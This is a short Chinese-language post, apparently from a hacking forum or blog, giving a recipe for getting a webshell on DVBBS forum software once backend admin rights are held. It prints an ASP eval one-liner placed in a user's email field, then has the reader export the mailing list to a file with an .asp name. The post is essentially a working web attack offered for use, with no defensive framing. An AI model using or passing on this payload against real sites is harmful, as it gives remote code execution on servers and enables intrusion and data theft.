dvbbs删除upload.inc后得shell得方法 - 前提是得到前后台管理权限
进入后台后
先到用户管理
随便改个人的邮件地址为
<%eval request(chr(35))%>@163.com

保存后
找到 邮件列表导出

然后导出邮件列表到文本 把文件名的名字改为.asp

点导出，就得到了一个shell

估计有些人早就知道了
哈哈

您可能对以下文章有兴趣↓